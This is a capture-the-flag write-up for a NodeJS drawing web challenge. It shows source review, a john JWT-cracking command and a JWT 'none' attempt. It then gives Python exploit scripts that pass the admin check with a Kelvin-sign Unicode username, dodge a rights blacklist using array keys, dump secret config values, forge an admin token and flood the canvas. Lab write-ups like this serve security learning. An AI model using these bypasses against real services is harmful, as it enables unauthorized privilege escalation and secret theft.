drawing [web]

Draw with us

Come draw with us!

  • webif:
  • nodejs:
  • nodejs source code: link

Hint! Changing your color is the first step towards happiness.

NodeJS back-end

The challenge provides the source code which reveals:

  • An NodeJS Express server
  • login / admin management / socket.io
  • JWT algo: HS256
  • admin username: hacktm

To access the flag we need to become req.user.id == 0.

app.get("/flag", (req, res) => {
  if (req.user.id == 0) {
    res.send(ok({ flag: flag }));

JWT secret

If we can sign our own JWT tokens, we can become admin (id: 0) and access the /flag route. Using rockyou.txt we tried bruteforcing the JWT secret, but (not surprisingly) this did not yield anything.

./john --wordlist=rockyou.txt --format="HMAC-SHA256" jwt.txt

Obtaining flag

req.user.id is derived from the incoming JWT token.

JWT tokens can be generated by visiting /init. Simplified code:

let target = md5(n.toString());   // secret

let pwHash = md5(
bigInt(String(p))           // user input
  .multiply(String(q))      // user input

let adminId = pwHash
  .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
  .reduce((a, b) => a + b);

Where: p and q are user input, n is secret.

Some characteristics on n:

  • md5 is 32 characters, so target has same length as pwHash.
  • toString() hints that it is a number.

The adminId is calculated using target, where each char is subject to a XOR. During such iteration (in map()), if the 2 characters are the same (i.e: correct), the resulting operation would result to 0. At the end (during reduce()) it will sum() all elements and if the result is 0 you are, in fact, user id 0.

However, if the md5 hashes do not match, you get a positive number, which results in the user id being greater than 0.

There is no way to realistically bruteforce this, as the reduce() removes any possibility of a linear search to derive n. We must find another way.

JWT none attack

Next up; trying the JWT none attack.

  1. Replace/alter JWT payload
  2. {"id":1374,"iat":1580560256} -> {"id":0,"iat":1580560256}
  3. Remove signature
  4. Change {"typ":"JWT","alg":"HS256"} -> "alg": "none"
  5. Submit attack @ server

More information on this type of attack can be found here.

Anyway, this does not work. It would have been too easy.

Back to code reading

  1. We need to become req.user.id 0
  2. In order to so, we need to know config.n.
  3. Perhaps we can read/expose config.n / config.p in another way?
app.get("/serverInfo", (req, res) => {
  // Only for logged in users

  let user = users[req.user.id] || { rights: [] };
  let info = user.rights.map(i => ({ name: i, value: config[i] }));
  res.json(ok({ info: info }));

This seems to be code that reads straight from the config object using user.rights as access keys. The question now becomes, can we insert our own keys in user.rights ? If so, we could simply insert n and it would output the secret config.n value.

/updateUser seems to have some code that allows adding our own rights:

app.post("/updateUser", (req, res) => {
  // Only for admin
  let uid = req.user.id;
  let user = users[uid];

  if (!user || !isAdmin(user)) {
    res.json(err("You're not an admin!"));

  let rights = req.body.rights || [];
  if (rights.length > 0 && checkRights(rights)) {
    users[uid].rights = user.rights.concat(rights).filter(onlyUnique);

  res.json(ok({ user: users[uid] }));

But in order to extend our rights, we need to pass the isAdmin(user) check;

function isAdmin(u) {
  return u.username.toLowerCase() == config.adminUsername.toLowerCase();

Ooh, a loose comparison. Perhaps we can break it.

Remember, during /login we can provide our own username, but it cannot be config.adminUsername as per:

function isValidUser(u) {
  return (
    u.username.length >= 3 &&
    u.username.toUpperCase() !== config.adminUsername.toUpperCase()

So, the question becomes, what can pass both isValidUser(user) and isAdmin(user)?

Valid user

Asby came up with the following demo:

var admin = "hacktm";
var user = "hacKtm";

console.log("Username: " + user);
console.log("isAdmin: " + (user.toLowerCase() == admin.toLowerCase()));
console.log("isValidUser: " + (user.toUpperCase() !== admin.toUpperCase()));

// var uc_arr = admin.toUpperCase().split("");
// var lc_arr = admin.toLowerCase().split("");

// for(i=0;i<100000;i++){
//     var c = String.fromCharCode(i);
//     if (uc_arr.includes(c.toUpperCase()) || lc_arr.includes(c.toLowerCase())){
//         console.log(i, c, c.toUpperCase(), c.toLowerCase());
//     }

Where he discovered that using the Kelvin sign still passes in a loose comparison;

"hacKtm".toLowerCase() == "hacktm".toLowerCase() // true

Yet it will fail on the admin check during login:

"hacKtm".toUpperCase() === "hacktm".toUpperCase() // false

We can use this to pass both security checks.


Now we can call /updateUser to add our custom right.

app.post("/updateUser", (req, res) => {
  // Only for admin
  let uid = req.user.id;
  let user = users[uid];

  if (!user || !isAdmin(user)) {
    res.json(err("You're not an admin!"));

  let rights = req.body.rights || [];
  if (rights.length > 0 && checkRights(rights)) {
    users[uid].rights = user.rights.concat(rights).filter(onlyUnique);

  res.json(ok({ user: users[uid] }));

There is one more obstacle; checkRights(rights):

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
  return true;

Which tries to prevent the user from adding blacklisted keys such as n and p. We can however beat this by adding our keys as an array.

Quick example, where we try to access an object with an array as key:

foo = {"foo": "bar"}
foo[["foo"]]  // bar

Don't you love Javascript? ¯\_(ツ)_/¯. So if we add ['n'] and ['p'] we will defeat the checkRights() function.

We can then call /serverInfo to read arbitrary values out of the config object.

Dumped secrets

Using this we can dump the config secrets:

import requests

url = ""

# create user with the admin username
resp = requests.post(url + "/login",
                     json={"username": "hacKtm"})
token = resp.json()['data']['token']
print("[*] Created user with admin username")

# add illegal rights
resp = requests.post(url + "/updateUser",
                     json={"rights": [["n"], ["p"]]},
                     headers={"Authorization": "Bearer %s" % token})
print("[*] updated rights")

# fetch secret config values
resp = requests.get(url + "/serverInfo",
                    headers={"Authorization": "Bearer %s" % token})
print("[*] fetched secret config values")

server_info = resp.json()
for key in server_info["data"]["info"]:
    if isinstance(key["name"], list):
        print("[*] %s = %s" % (key["name"][0], key["value"]))
[*] n = 54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979
[*] p = 192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617


We call /init to generate an admin JWT token and call /flag:

import jwt  # pip install pyjwt

data = {
    "p": "54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979",
    "q": "1"

resp = requests.post(url+"/init", json=data)
token = resp.json()['data']['token']
jwt_claim = jwt.decode(token, verify=False, algorithms=['HS256'])
assert jwt_claim['id'] == 0

resp = requests.get(url+"/flag", headers={"Authorization": "Bearer %s" % token})



Bonus: Drawing bot



  1. Get a PNG image of dimensions 120x80
  2. Generate pixel data: python main.py "image.png"
  3. Pixel data ends up in output/.
  4. The script will output GNU parallel commands that you can run.


$ python main.py "sp0t.png"
parallel -j +10 ./output/588d43.sh < output/588d43.txt
parallel -j +10 ./output/9ad284.sh < output/9ad284.txt
parallel -j +10 ./output/ffffff.sh < output/ffffff.txt


import sys
import os
import struct
import json
import requests
from PIL import Image  # pip install pillow-simd requests

url = ""

def get_color_token(_hex):
    resp = requests.post(url+"/login", json={"username": "hacKtm"})
    token = resp.json()['data']['token']
    data = {"color": int(_hex, 16)}

    resp = requests.post(url+"/updateUser", json=data, headers={"Authorization": "Bearer %s" % token})
    return token

img = Image.open(sys.argv[1])
img = img.convert("RGBA")
pix = img.load()

os.popen("rm output/*").read()

output = {}
numcolors = []
hexlookup = {}
data = {}
hexi = lambda k: struct.pack('B', k).hex()

i = 0
for x in range(0, img.width):
    for y in range(0, img.height):
        r, g, b, a = pix[x, y]
        if a == 0:

        cc = (r, g, b)
        if cc not in numcolors:
        i += 1

        hexlookup.setdefault(cc, f"{hexi(r)}{hexi(g)}{hexi(b)}")
        data.setdefault(hexlookup[cc], [])
        data[hexlookup[cc]].append((x, y))

for k, v in data.items():
    f = open("output/%s.txt" % k, "a")
    for coord in v:
        x, y = coord
        f.write("%s\n" % json.dumps({"x": x, "y": y}))

for k, v in data.items():
    f = open("output/%s.sh" % k, "a")

    token = get_color_token(k)
    cmd = """curl -vv -XPOST -m3 -s --data "$1" -H "Content-Type: application/json" -H "Authorization: Bearer %s" %s/paint""" % (
        token, url

    print("parallel -j +10 ./output/%s.sh < output/%s.txt" % (k, k))

os.popen("chmod +x output/*.sh").read()